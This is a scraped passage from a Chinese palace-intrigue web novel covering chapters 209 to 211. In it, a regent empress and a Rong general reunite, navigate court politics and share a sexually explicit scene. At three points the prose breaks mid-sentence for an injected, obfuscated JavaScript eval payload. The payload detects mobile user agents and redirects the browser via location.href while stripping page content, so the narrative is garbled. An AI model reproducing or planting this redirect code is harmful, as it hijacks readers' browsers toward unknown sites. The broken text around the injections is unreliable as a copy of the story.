元璟耸耸肩:“沙漠嘛……有水源有绿洲就成一国,大部分也就一座城、甚至就一座村那么大……” 元旭十分庆幸将元璟这百事通拖来大朝会,又有些惊异:“这些全都是苻洵打下来的?” 未等元璟回应,殿内突然礼乐轰鸣,礼乐之后,十几个小国小部落使者站得整整齐齐,用略带口音的中原话齐声山呼:“大翊女君闻名遐迩,我等奉大荣建宁王陛下及威远将军之命,略备薄礼,为女君陛下庆贺芳诞。” 见惯风浪的元瀚海满脸欣然,膜拜螭陛上的褚后,眼角眉梢扬起无穷自豪自信。 排面!着实排面! 颇有史书记载,翊桓王时代“九天阊阖开宫殿,万国衣冠拜冕旒”的盛世气象。 而站在对列的班益、晏驰、谢朗等老将则神色郑重,带着震惊、警惕陷入沉思。 西羌诸国使臣觐拜见过褚后及延光王,又纷纷在殿中向苻洵拜别,才整齐有序地款款退出,一举一动都包含着无比恭顺、敬畏。 “搞的跟孔雀开屏似的”,元璟饶有兴致看热闹,低声评论,“这哪是贺千秋,分明是相看。” “这就是在相看”,元旭悠悠地说,扬唇微笑,那笑意却半分不达眼底,“却不是与阿姊。” 209. 由爱生怖 六月二十八夜,翊国摄政太后与幼主在紫极殿设宴,为远道而来荣国及西羌诸国接风洗尘。 阊江的审美风尚,较昇阳更轻盈靡丽。除惯常的金钟编鼓,玉盘水精樽,雕梁画栋垂下绫娟彩锦、绵延如云,点缀着造型各异的插花,金兽炉袅袅倾吐着瑞麟香的馥郁。 紫驼之峰出翠釜,水晶之盘行素鳞。黄门飞鞚不动尘,御厨络绎送八珍。 “有些奇怪”,苻洹环顾四周,借着舞姬飞舞的裙摆遮挡,倾身悄声对苻洵说,“这次宴会僭越了。” 苻洵正借酒遮脸、不住往螭陛上觑,苻洹跟他说了半天没反应,又扯了扯他袖子,他才如梦初醒:“什么僭越?” “你这轻佻劲哪天才能改,那是摄政太后”,苻洹恨铁不成钢嘀咕了一句,继续说,“和谈、祭祀、盟约、节庆家宴这些……用什么品级的饰物,燃什么品级的香都有相应规制。今天这排场太豪奢,接待大国君主都够了,简直是在烧钱。” 苻洵顿时会意,却还是瞎话连篇:“他们太久没接待使团,新鲜得忘了?” 苻洹咬牙拍了他一巴掌:“鼎铛玉石,金块珠砾……他们在展示国力,咱们带西羌使者觐见的意图被察觉了?” “应该是……”苻洵漫不经心地说,“跟聪明人打交道就是好。” “翊国女人,没一个省油的灯”,苻洹一脑门子官司,叹了口气,蹙眉问,“你一直往上头看什么?太后再貌美也不要盯着看,没规矩!” 苻洵拉了拉他:“我在看他们幼主……” 苻洹顺着他目光瞄去,只略略一瞥,平静地说:“什么好大惊小怪?想必这幼主并非褚后亲生、记在名下而已……王族里这种……” “就是亲生的”,苻洵淡淡打断,“庄王并无其他妃嫔。” “那就不对劲”,苻洹蹙眉又扫视一番,发现苻洵眼神疑惑,压低声音解释,“你没养过孩子看不出来,褚后上半身、那眼神方向、还有布菜……” 舜英今日着荼白襢衣,宽袖大袍、显得整个人沉稳端庄,清贵疏离如天上月。她的仪态很周正,脊背笔直,但仔细留意还是能发现,一直朝远离元承祎的方向略微倾斜。 她不时用眼角余光瞟承祎,却每每目光触碰就迅速收回。每一道菜送来,她都含笑吩咐先送给承祎,又亲自布上一筷子给他,然后让试毒太监尝…… 又有新菜端来,承祎让试毒太监尝过之后,亲自布菜给她,她笑容满面接过、放进口中,然后端起面前茶杯,抬袖遮住脸…… 苻洵眼瞳急遽收缩,手中酒杯泼出几滴液体,旋即绽开个无辜笑容:“看不出来,哪儿不对劲?” “自己养个孩子就知道了”,苻洹凉飕飕地说,又诧异地问,“那你刚刚在看什么?” 苻洵诚恳地说:“我是觉得那孩子长得像他爹。” “废话!亲生的能不像?”苻洹没好气白了他一眼,“真不知道你是装傻还是真傻。” . 那一夜的接风宴,东道母子和睦、君臣一心,宾客叹为观止、尽兴而归。 四个字,宾主尽欢。 曲终人散时,舜英不胜酒力,许姿忙领着一群女官上前,搀扶的搀扶、喂醒酒汤的喂汤,簇拥着她向后殿走去。她捂着眉心,脚步虚浮踉跄,频频回望、嘴里说着什么。 苻洵遥遥注视着她越走越远,手指屈伸数次,最终攥紧成拳、收入袖中。 再世为人,牵绊万千的少女越来越勇敢,朝气蓬勃的少年却越来越怯懦。 他垂下宽大的袍袖,慢吞吞向殿外走去。像是十四年前那个初夏,走了一圈,又走回原点。 元旭正在殿门口同苻洹寒暄,见他走过来,忙扬起轻快的笑容:“建业侯不如今晚去我那,咱们许久未见,好生叙叙旧?” 苻洹略带讶异,在两人身上扫了一眼,忙笑着说:“这是自然。”忽又想到什么,补充说:“临出门前陛下特意交待,阿洵在阊江故旧颇多,可以晚些时候再回北卢。” “有何旧可叙?”苻洵面无表情地说,“洹哥,我跟他不熟。” 说完这句,他端端正正行了个礼,礼貌而疏远地告辞后,晃晃悠悠向宫外走去。 苻洵没有回鸿胪寺,出了明德门、沿宫墙根慢慢走,无数思绪念想在脑子里搅来搅去,搅得混混沌沌,忽然“嗡”地一声,炸成大片空白。 他仰起头,天上残月正缓缓西斜、淡薄近乎虚无,过不了多久、就该有新生太阳从东边喷薄而出。 他轻声自言自语,漫无目的向前走去,月亮在他身后越来越远。 “我也算计了你、辜负了你,我也变成了自己最瞧不起的那种人。” “别等了,我不配……” 宫墙已走到转弯处,他不想继续往前,又不甘心就这样回鸿胪寺,于是在拐角处站了许久。 最后,还是晃晃悠悠沿宫墙根继续往前走。 “就一次,最后一次。”他心怀侥幸对自己说。 . 近处的宫禁黑黢黢的,鳞次栉比的建筑沉寂无声,大门口两盏灯笼,绛绡糊成外罩、透出一片轻红。苻洵走到灯笼底下,抬头的瞬间,不由一怔。 天阶夜色凉如水,月光冷白,“邶风别苑”四个字行云流水,像等待了千年万年。 坐在台阶上那个人,也像等待了千年万年。 她早已换下襢衣,穿了身简洁无纹绣的浅紫色罗裙,抱腿坐在檐下台阶上,下颌可怜巴巴搁在膝头,毫无仪态地蜷成一团,像只被遗弃的狸猫,又乖巧又惹人心疼。 虽隔着台阶,却也能见到她精心装扮过,眉心的十字疤已淡化许多,她仍贴了一枚芙蕖花钿,尽力使整个妆面清艳无暇。 苻洵轻手轻脚走上去,恣肆的花香萦绕在她身侧,像橙花、月季、腊梅等齐齐盛放,蕴着晨露的清润。这馥郁之中夹杂了一丝酒气,挥之不去。 她双眼紧闭,睡过去不知多久。 乌发如流水披散满背,晕着温润光泽,苻洵伸手摸了摸,很柔软、像最昂贵的绸缎,她没有醒——今晚喝了不少酒。他注视片刻,脱下大氅轻轻披在她背上,晃晃悠悠顺台阶往下走。 “回来!”石阶上的她已经醒了,哗啦站起来,“你跑什么跑?” 旋即,她低头整理衣裙,声音柔和了点:“我回去收拾好久才……好不好看?” 苻洵眼眶发热,定定注视着她,挤出个微笑:“好看。” 组织片刻语言,他深吸一口气说:“回去吧,我不进去。” 舜英愣住了,指向头顶匾额:“你看清楚这四个字,现在你说你不进来了?” “很好看,可我不配走进来”,苻洵仰头看着台阶尽头,“姐姐,去年洛京会盟后那几天,我其实想过跟承赟他们联合起来,送你阊江夺权——只不过你比我更早提出来了。” 泪水夺眶而出,他倒退两步,轻声说:“从我起念头利用你的另一重身份、送你回虎狼窝的那一刻起,我就不配再与你相守。” “可那我是心甘情愿的”,舜英声音带着急切,追了两步说,“何况,你什么都没做,难关已经渡过去了。” 苻洵拼命摇头:“问题还在那……我现在又要利用你了,只要接近、就是利用,因为你手握这个国家至高权力,哪怕只顾念我和我的故国一点点,都会给自己招致无穷麻烦。” 他眼眸含泪,颤声恳求:“姐姐,我舍不得咱们纯粹的感情,变成一碗夹生饭,我舍不得……” “够了!”舜英失声怒喝,眼里涌出泪水,不甘、屈辱,“你们一个个都把我当什么?没心没肺的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“偏不走”,他抱着她在偌大府邸乱转,寻找主屋,“好不容易娶到的媳妇,哪能说走就走?” 陌生的府邸,熟悉的房间。 苻洵走进主屋,登时惊呆了:薄如蝉翼的银红窗纱,房间四角各放一盏高架落地宫灯,琉璃灯罩上以掐丝珐琅绘着九瓣芙蕖,进门正对一架黄花梨木丝绢屏风,白底纨素斜斜绘着数枝红梅——与洛川别苑的摆设别无二致。 转过屏风,是一架朱金木雕的踏步大床,外帐是胭脂红、内帐是浅白月影纱。 窗下香炉静静倾吐袅袅流烟,清润的甘甜木香,与他衣袍的熏香一模一样。 他不禁心潮澎湃,将她扔进被褥,反手放下帷帐,俯身开始吻她。 “混蛋……”她低低啜泣,一边捶打他,一边使劲咬在他嘴唇上。 刺痛混着麻痒,冲得他心旌激荡,他用小腿顶住她膝弯,一手攥住她两只手腕、举过头顶按在床上。低头,一点点亲吻她额心花钿、眼角泪痕、脸颊、慢慢亲到唇角,覆了上去,伸出舌尖,在她唇上耐心而温柔地轻轻舔舐。 她气息逐渐乱了,轻轻哼吟几声,松开牙关任他横冲直入,勾弄、纠缠、吸吮。 唇齿相接时,他另一只手解开她裙带,剥去衫裙和中衣,唇也慢慢移开,贴着脸颊蹭过去,轻声咬了一口她耳垂。 “混蛋……”她胸口不断起伏,声音打着颤,轻轻喘息着说,“放开我,你想用强么?” 苻洵没有放开她,只反手解开自己腰带,一层层剥去繁复的玄色礼袍,褪掉最后一层里衣时,他欺身压下去,胸膛紧贴着她的心衣,心跳隔着薄薄皮肤传到她身体里,擂鼓一般激越、难以自抑。 “我不放”,他低头,用牙齿咬住心衣,轻轻扯落,“我想亲近你。” 210. 见色起意 琉璃灯的亮光,被月影纱滤成雾蒙蒙的柔白。苻洵支起上半身,一瞬不瞬凝视着她,眼里纠缠着情愫和渴望,鼻息急促:“姐姐,我不放。” 他长长的睫毛微颤,在脸颊投下小片阴影,面部轮廓在灯光映照下更显清减。舜英本就醉意迷蒙,此刻脑子更迷糊,心旌涌出一股股灼热,哑声道:“混蛋,让你把我手脚放开。” 苻洵呆了呆,如梦初醒松开她:“对不起,有没有弄疼你。” 舜英双手撑在他肩头,轻轻巧巧翻了个身,骑在他身上,眼泪又下来了,恨恨命令:“以后不许再说那些混账话。” 他抬手替她拭泪,柔声道:“好。” 她就是他的克星,他总是没办法拒绝她任何要求。 她又思忖片刻,从衣袍堆抽出腰带,将他的两只手举过头顶,系了个活套结,绑在床架上,上下打量一番,脸上挂着泪珠,愤愤控诉:“始乱终弃的混蛋,叫你跑……” 苻洵瞥向自己被捆起的手,有些错愕,有些哭笑不得,软声哄着:“我错了,你想怎么罚都成,别哭坏了身子。” “怎么都成?”舜英眼里翻滚着情愫,泪汪汪盯着他,哑声道,“那你别回去了。” 然后,她俯低身体,双臂环住他坚实有力的腰、紧紧箍着,像方才他那样,一点点亲吻回去,舌尖在他嘴里反复纠缠后,咬着他耳垂:“听他们说你中了很多箭,是这儿吗?还疼吗?” 旋即,她的唇慢慢移动,蹭了蹭他脸颊的箭伤,逐寸往下蹭。酥麻一点点漾开,他喉结一下一下滑动,被她一口咬住,猛然一股刺痛,非但没令他冷静,反而带来莫名畅快,激得他血脉贲张。 她眼睛湿漉漉一瞥,唇舌很生涩,轻柔地吮吸舔舐他肩膀的箭伤、胸口旧伤新疤,然后骑在他腰上、摸索着慢慢下移,唇舌也没有停…… 他顿时明白她接下来要做甚,呼吸越来越急,心肝脾肺都灼烫颤抖起来,身体在疯狂叫嚣渴望,理智搅成一团乱麻,断断续续哑声道:“撒酒疯么……” 她眼眸闪了闪,泪水涟涟,倔强霸道地吼:“我想怎样就怎样!” “到底怎么了,哭成这样”,他叹了口气:“我错了,你先别哭,咱们说说话?” “不许问!”她从他衣袖撕下一截布条,蒙住他眼睛,一边哭一边继续。 他心里揪着疼,却无法抑制身体本能,随她一起动作,像漂浮在风口浪尖地舢板,越晃越快。 黑暗中触觉更敏锐,他清晰感知到,她唇舌蹭过的地方、还有那处要命的地方,酥痒不绝如缕,混合越来越强烈的炙热和愉悦,在全身筋骨、皮肉、胸腔、肺腑横冲直撞,不断爆裂。 即将失控时,他攥紧拳头全力一挣,猛然将捆着双手的锦带挣断。然后以迅雷不及掩耳之势,一把将她拖上来,自己翻了个身、把她压在身下,死死摁着控制住。 他闭上眼不住低喘,待心绪平稳下来,才缓缓道:“轮到我了。” . 第二天,日上三竿。 元旭刚从官邸回来,奚寒正吩咐仆从将卷帙送进书房。元旭瞥见靠在廊柱下的人,慢悠悠走过去,挑了挑眉:“你走错地方了,这是我家。” 转头指了指对门:“‘邶风别苑’四个字,看不见吗?” “你俩住对门?”苻洵一脸玩味笑起来,“哪个天才安排的?” 元旭抬起下颌,往宫禁示意了一下:“里面那位,说是方便卫尉寺护卫。” 苻洵惊讶一瞬,脸上陡然显出古怪的糟心,叹了口气:“你们这一大家子,都什么怪物?” “别带上我,我也被他砍过”,元旭叹了口气,有些烦躁地指了指对门,“昨晚我特意把侍卫全都支开,请你都不来,这会儿我忙得很,你偏又站我家门口作甚?” 苻洵淡淡地说:“自然是来找你。” “说了我忙得很”,元旭上下打量着他,目光忽然一凝,注视着他喉结上红痕,莫名双颊一热,“对了,太后陛下方便不?今天朝会是取消了,可我看完折子还得送她朱批,晚点再来对面找你。” 想了想,压低声音含蓄道:“平常的折子也不少,你还是悠……” “六叔,看看这几匹马怎么样?”滴滴答答一阵悠闲的蹄声,元旭和苻洵同时转头,只见街口缓缓走来三皮鬃毛油亮的健马。 中间那匹洁白如霜的玉华骢、坐着个玉雪可爱的女娃娃,承赟骑在另一匹胭脂马背上,另一侧由小厮牵着一匹雄壮的墨色乌骊。女娃娃笑逐颜开:“大清早让承赟哥哥陪我去马市淘的。” 承赟跳下马背,正要抱承徽下来,却见承徽足尖一点,轻盈潇洒得像一只雨燕,旋身稳稳站在地上,边走边说:“这匹乌骊王兄肯定喜欢,承赟哥哥,咱们去叫王兄不要闷着了,出宫骑马去?” 苻洵看着言笑晏晏走来的鲜亮少女,神思恍惚了刹那,少女已走到门口,敛衽一礼“见过叔父”,又笑盈盈转向他,疑惑地看向元旭。 承赟有点诧异:“苻将军怎么在这儿?” 元旭也对承徽笑着介绍:“徽儿,这是我在奉宁的旧友,荣国建业侯。” 承徽惊喜地呀了一声,敛衽屈膝的幅度大了些:“早上承赟哥哥还跟我说起,说你如何骁勇善战又大义忘私……” 元旭轻咳了两声,转开话题:“去紫极殿找王上吧。” 承赟有些诧异:“这个时辰,不是该在上书房或兴庆宫?怎么在紫极殿?” “我知道我知道……听王兄跟中常侍说,想找几个出身清白的给母后当面首,要有才学、会点武艺”,承徽眼睛一亮、兴奋地说,又十分勤学好问,“承赟哥哥,什么是面首,跟许姑姑一样的掌事女官么?可不可以给我也……” “不可以!”承赟一个头两个大,忙一把捂住承徽的嘴拖开,“那个是太后才能有的,而且也不是非得有……” 苻洵和元旭面面相觑:“……” 承赟赶紧吩咐小厮牵马,一把薅起承徽就往车上塞,又跑回来向他们施礼。 向苻洵告辞时,猛然一抬眸,看到苻洵喉结上的咬痕,承赟脸色顿时如同打翻染缸:“说不记仇真不记仇,你这心胸也太宽广……” 他僵了片刻、若无其事直起身,镇定地走向马车。下到最后一级台阶时,身子晃了晃、险些崴脚。 苻洵满脸糟心:“面首?这是儿子该干的事?不怕他爹气活过来?” “说得像你没气着他爹一样,醋了就直说,这儿没那么多讲究”,元旭语气不紧不慢,凉飕飕的拿针戳人,“国君无家事,送几个他能把控的,若有幸被看上,拉近关系、当个耳目或是帮着递几句话……好处多多。” 苻洵咽了几口唾沫:“你们这一家都什么怪物?” 元旭抬眼瞄了下天色,叹了口气:“这一闹腾快用午膳了,你干脆进来边吃边说,说完拉倒。” “说不了那么久”,苻洵闲闲抱臂,注视着驶入宫门的马车,若有所思,“就两个问题。” 元旭脸色一沉,眸中显出凛冽,肃然一字字道:“最好还是去我书房。” “问题一,前来觐见的西域诸国如何?”苻洵没有坐,漫不经心瞥向书房墙上,那里挂着巨幅蜃洲舆图。 元旭拿起一根细长木棍,轻轻在西北方向点出诸国的方位,细如尘埃、点缀在茫茫黄沙之中。他不由想起,早晨刚跟班益谈论的内容:打下这些国家并不难,难的是如何精准在沙漠找到方位,以及后续如何稳固地控制这些国家。 当时,班益原话是:“苻洵长年陷在朔北作战,这些藩属小国却无一敢生出疑心,还能如此快集结觐见。由此可见威远将军府对其震慑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15081513|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以及建宁王对属地的把控水平,荣国远比咱们之前想象的更难对付。” 又说:“既选择展扬国威,便是短期内无对战打算。” 此时,元旭对着舆图思索片刻:“所以,敝国提高规格,以无上国宾之礼迎之。” 苻洵一瞬不瞬觑着元旭面部神情变化,缓缓抛出第二个问题:“那以后呢?” 他没明确“那”代表什么时间,但元旭知道,“那”不是平定柘枝城后,甚至不是舜英摄政期间…… 元旭瞳孔急遽收缩,旋即舒展眉眼,绽开茫然的笑容:“微臣不过听命办事,那以后,还请将军移步上书房与王上详谈。” 苻洵弯了弯桃花眼,没有说话,只目不转睛与元旭对视。 元旭的笑容慢慢变淡,叹了口气,眼神锋利:“一入权力漩涡中心,要么赢、要么死,绝无抽身退步第三条路,这道理不还是你们教我的么?” 这是元旭第一次在苻洵眼里看到恐惧。 “家国难负,佳人难舍,安有双全之法?”他歪着头,扯动嘴角挤出微笑,仔细欣赏着苻洵眼神每一个变化,“若你只想与她相守,简单得很,我现在就去告诉小陛下,不必再劳心紫极殿的事。” 苻洵垂眸,沉默良久才问:“若想不再刀兵相见、不再隔着立场家国呢?” “这就更简单了”,元旭笑得很开心,“你回去即位,以一国河山为聘……” 他再说不下去,因为苻洵抬起头,眼神逐渐冰冷,每个字都很低沉,却都掷地有声:“苻虽国姓,却无权草率决定千万百姓的命运。若身处高位受尽供养,却弃家叛国、无土无民,莫说是她,我自己都会瞧不起自己。” . 当晚,烛影透过胭脂红外帐映下一片轻红,苻洵用手指轻轻摩挲着她唇上胭脂,黑眸微眯:“姐姐,我这软饭吃得怎么样?” 她没说话,深深看着他,眼神迷离。他心绪刚刚平复,又被她撩拨得目醉神迷,扣住她脑后用力亲吻,二人迷乱的呼吸交融在一起。 她脸上晚妆已残,多了几分妖异之美。绛红薄绡的里衣朦朦胧胧像罩着一阵雾,皮肤冷白近乎透明,隐隐可见皮下淡青血脉,透着丝丝馥郁。是清甜淡雅的素馨,像迎着初阳、沾着晨露新开的第一瓣洁白。 今天起床,她让人撤掉所有熏香,改为采摘各色鲜花插瓶,又换回香露。苻洵从元旭那回来后,一嗅满屋清灵干净,也觉得自己一身龙涎香太突兀,于是换了身新袍服,不再熏香,浑身上下透着一股皂角味,又清爽又潇洒。 无需任何外物修饰,就是极美的人。 舜英轻轻描摹着他眉角轮廓:“还以为你们初几才能到呢。” 苻洵支起身子,认真地说:“六月底一定要到。” 舜英忍俊不禁:“听说你们把舵手都累趴了百十个?急什么急?” “急着赶你生辰”,苻洵的声音语气平淡而笃定,仿佛一切理所当然,“七月初七,只是你被昭王收养的日子,从燮陵到昇阳最快也要七天七夜,你的真正生辰,本就该是六月底。” 舜英一愣,忽然想起自己以锦瑟的身份与他拜堂那夜,他在洛川别苑门口说:“……我与你同岁,你的生辰在六月底,我的生辰是九月初八……” 连她自己都忘了,他却还记得。 眼圈一热,她勾住他脖子笑了:“我也不知道是六月初几,干脆就定作六月二十八,以后每年咱们过这个。” 苻洵笑了:“好。” 她又重复了一遍:“每年。” 苻洵没有回答,低头深深吻住她,纠缠不休。 内帐飘拂翻飞,月影白纱绣着浅粉芙蕖,光滑如玉的竹席印着芙蓉图案。荷花帐、芙蓉簟,芙蓉帐暖度春宵,春宵苦短日高起,从此君王…… 她还是得早起上朝! 211. 入幕之宾(上) 舜英是天生劳碌命,用元璟的话说,比驴还好使唤。 元旻打小就是出了名的不知疲倦,舜英跟了他二十四年,早就习惯比牛马还繁重的生活。与苻洵成婚后的日子悠哉游哉,本可闲闲散散当个米虫,可她反而有些发虚发慌,一忽儿蹭苻阐苻忆的师傅、挤扁脑壳听学,一忽儿跟这个匠作那个药师学手艺,一忽儿又跑去跟苏裳学跳舞…… 摄政太后跟国君的日常几乎一致:上朝,上书房议事,批奏折,批阅邸报、塘报,出席各种大场合……每天满满当当喘不过气。 其实,也不算太难。 传到她手里的摊子很不错,财库丰盈,官员得力,前期主要忙于跟朝中一些生面孔磨合,将一些重要岗位的人换一换、调动一下。其实也无需怎么换,冯姮擢拔的官员没几个废物,最多是后期猜忌心太重,选上来的人没那么干练。 无非是有些人替冯姮干了太多脏活,留不得,或是能力实在平庸,稍微贬一贬。 冯太后执掌内政,基本没留什么烂摊子,相反,一切井井有条。除了党同伐异、重文抑武,以及在邦交大事上反复无常、误判形势,她堪称一位优秀的辅政太后。 不过是贪权……权力这样的好东西,谁不喜欢?说不喜欢的,无非是不愿承担背后的凶险和代价,罢了。 宝慈宫被封锁,严加看管、与世隔绝,除此之外,一应供养一如既往。舜英从最初的失望、痛恨中醒过神之后,还是给了她最后的尊重体面。 舜英想跟从前一样,快意恩仇,为武煊、为惨死金州的堂弟们、为无故折在朔北内斗的将士、为功亏一篑的北伐,向冯姮狠狠复仇。 可自从她坐上那个位置,便失去了快意恩仇的资格。 孝悌忠信礼义廉耻,为人八德,“孝”字为首,坐上这个位置,装也得装出道德表率。 罢了,反正自己答应了那人……反正若无冯姮搭好的台子,自己如今执政没那么轻松。 这些伪善的不堪、噬心锥骨的愧疚,从她决定将权力握在手中,就注定要背。 . 黄昏,各大宫门落钥,东华门是个例外,往往等舜英和元旭的车驾从春秋道驶出宫门,才缓缓合上。 史上大部分摄政太后都有些暧昧传闻,甚至许多不止是传闻。然而,落到实处基本是出身不太好、谄媚伶人的小白脸,那些有头有脸权臣的绯闻、在面上往往要加倍避讳遮掩。 所以,曾经“妖后权相”的绯闻赫赫扬扬时,大部分人吃瓜吃得起劲,心里还是不太相信——朦朦胧胧、欲说还休才是酝酿暧昧的温床,明面可见的关怀实在是…… 果然,没过多久,二人在笠泽大营让大伙开了眼界——反转反转再反转,好一对各怀鬼胎、互相试探、勾结谋逆、珠联璧合的钢铁好姐弟。 众人心里同时松了口气,太后养面首那叫故事,太后跟权臣私通那是妥妥的事故。 这口气没松多久,来了个更劲爆的绯闻对象:荣国战神——建业侯苻洵。 那苻洵虽骁勇无匹、暴戾恣睢,却生得俊美无俦、风流倜傥,对女子极尽温柔体贴,素有浪荡之名,据说没几个女人经受得住他撩拨。 起初,众人是绝不相信的,《英烈本纪》白纸黑字记载,苻洵被褚后连捅七刀,这俩宿敌能扯一块去,简直倒反天罡。 然而,这天罡真的倒反了。 苻洵原本跟着荣国使团,借着贺千秋宴的由头,来阊江商讨应对北宛“石脂陷阱”,重新制定北伐计划。千秋宴后,各国使团相继离开,苻洹也领着荣国使团走了。 只有苻洵没走。 非但没走,还大摇大摆住进了褚后的邶风别苑。 不少人心里暗骂苻沣手段阴损,派亲弟弟对太后使美男计。没愤懑几天,又觉得这揣测有失偏颇。不像是苻洵使了美男计,倒像是褚后使了美人计。 先是制定新的北伐计划时,各国略过劳苦功高的荣国,共同推举南翊为盟主国,众口一致以褚后为盟主,以元承赟为联军总指挥。其次,在涉及到具体战术方略时,褚后没表现出任何对荣国的优待和偏私。 本来的联军总指挥苻洵,被苻沣下旨留驻阊江,并呈递国书明确新身份:联合北伐一战,荣国及其藩属留在盟主国的话事人。 翊为主,荣为辅,阊江朝廷十分满意这态度。 更令他们始料未及的,是苻洵的低调。低调到,除了需要商讨应对北宛作战时、在上书房和朝堂露一下脸,其余时候基本深居简出。 苻洵有两种服色,一种是使臣公服,玄色阔袖礼袍、交织金线纹绣,繁复层叠,深沉威严;一种是常服,各种深浅不一的红,版型简洁流畅、材质轻盈飘逸,风姿俊逸得上至朝臣国君、下至女官宫人都移不开眼,私下感慨女君的好品味。 出入上书房、站上朝堂、穿上玄袍,苻洵代表一国尊严,面对王上太后也仅抱拳施以平礼;走出殿堂、离开宫墙、穿着红衣,苻洵对谁都谦恭有礼,该稽首的稽首,该退避的退避,全无半分骄矜。 元旭打量着眼前男子,叹了口气:“你这样低的姿态,到底把自己当作什么?” 苻洵毫不在意笑笑,撩起袍袖替他斟茶:“你不是说过?面首。” 元旭简直被噎得没脾气,盯了一眼他熟稔的斟茶姿势:“你这样说,是要作践谁?” “怎么就作践了?”苻洵弯了弯桃花眼,满脸骄傲,“给她当面首是什么丢脸的事?那么多人抢破脑袋还当不上。” 那眼波流转,缱绻旖旎、摄人心魄,元旭身为男子都感觉被不轻不重撩拨了一下,略带慌乱低头抿了口茶:“放着权势煊赫、风光无限不要,千里迢迢跑来当面首。你这样疯的男子,世上还真找不出第二个。” “巧了,她那样的女子,世上也找不出第二个”,苻洵慢悠悠端起茶杯,看向窗外花木,眼底笑意不减,“你这大中午的,不在丞相府批奏折,就为来这儿怼我几句?” “咱们做臣子的,夹板气难受”,元旭蹙了蹙眉,哀声叹息一阵,“小陛下托我请你去中秋家宴,待会儿有人来替你量体裁衣。” 苻洵一口茶水险些喷出:“我一个面首?家宴?” “少提那俩字,我头疼。你莫不是忘了,你是他姑爹的亲弟弟”,元旭蹙眉,幽幽地说,“稷儿今年才七岁,姐夫将他拉扯大,失怙失恃的孩子,都不容易……” 闻弦歌而知雅意,苻洵听后沉思半晌,扬眉一笑:“多谢提点。” 半个月后,中秋节前夕,两份中秋礼同时从奉宁快船送到明月渡,一份以建宁王的名义向翊国王上女君道贺,一份则是以苻稷个人的名义向表兄问安。 礼袍终究还是没裁成,元氏宗室的家宴,他蹬鼻子上脸去凑热闹实在不厚道。中秋这天入夜,苻洵提了坛桂花酿,倚在望楼亭柱上,有一搭没一搭喝着。 东边一轮银白的月亮,圆满得没有一丝瑕疵,西边宫禁灯火通明、人声鼎沸热闹非凡。极力北望,目光越过寥廓的长流川、淮水,东原道三十五城悄寂无声,像一座巨大的坟墓。 苻洵遥遥注视着那片他亲手打下来的广阔平原、亲手勘测的六百里澄洛驰道,天地悠悠,空无一人。他举起酒坛,对着东原道的方向敬祝。 “道德三皇五帝,功名夏后商周。七雄五霸斗春秋。顷刻兴亡过手。” 夜风吹来,泪水模糊了他的双眼。 身后有人悠悠接口:“青史几行名姓,北邙无数荒丘。前人田地后人收。说甚龙争虎斗。” 楼下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085996|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元璟提着一坛青梅酒,正看着他微笑。 . “国公不去家宴?”苻洵一边往院中石桌上摆糕点果子,一边吩咐厨房开火炒菜,“今晚放她们自行团聚了,值守的人有些少,国公见谅。” “没大没小,叫师父”,元璟看他坐下,笑容温煦,“宫宴怪无聊的,来找你喝酒,阿英不在家,你连饭都不吃了?” 在这陌生的地方,苻洵第一次生出异样的亲切感,柔声问:“师父带来的酒,要不要热热再喝?” 元璟也不推脱,静静看他熟练地支起炉子,将坛中酒倒入酒盅,在沸水里烫着,忽然长叹一声:“上次见你,还是十六年前,那时候就觉着你们般配,性子合得来。虽然中间走了些岔路,走着走着还是殊途同归。” 苻洵将烫好的酒斟满酒杯,端给元璟,唇角扬起一缕落寞微笑:“也许,我才是那条岔路。” 元璟摇摇头:“你从前比现在潇洒,敢爱敢恨,活得很痛快。” 苻洵道:“我那时还不知家国之重,所谓责任、大义、仁爱,这些她教我的在心里生了根,又重新隔在我们中间。” 元璟温声宽慰:“这三百来年,两国不也有相安无事的时候?小陛下主动向你示好,又和你家太子是表兄弟,血浓于水,你担心的那些未必会发生。” “不,不一样了”,苻洵喝得五六分醉意,连连摇头,“平定北宛之后,必有一战,因为东原道三十五城和澄洛驰道……任何一个国君都无法容忍三郡二州沦为飞地。” 违心的安慰在元璟喉咙滚了几滚,还是说不出口,喟然长叹之后举杯一饮而尽。 苻洵忽然转头看向灯火连天的宫禁,眼神迷离:“师父,你相信天命吗?” 元璟若有所思,偏头看向燮陵的方向,眼里漾起水光:“我信,有时候就差那么一点。” “是啊,每次就差那么一点,从灵昌到武原、再到阊江,我们用尽全力,却总差那么一点”,苻洵扯动嘴角,挤出个灿烂的笑容,“若我从未招惹过她,她定不会这么颠沛和辛苦。” 元璟吓得手一抖:“你怎么比我这老骨头还消沉?” 苻洵笑了,眼里跳跃着星星点点浮光:“消沉?那只是曾经,那时候我满腹戾气和不甘,后来跟她在一起,才变成如今模样。师父,我没有不甘,只是觉得她本可以过得很好,是我……” 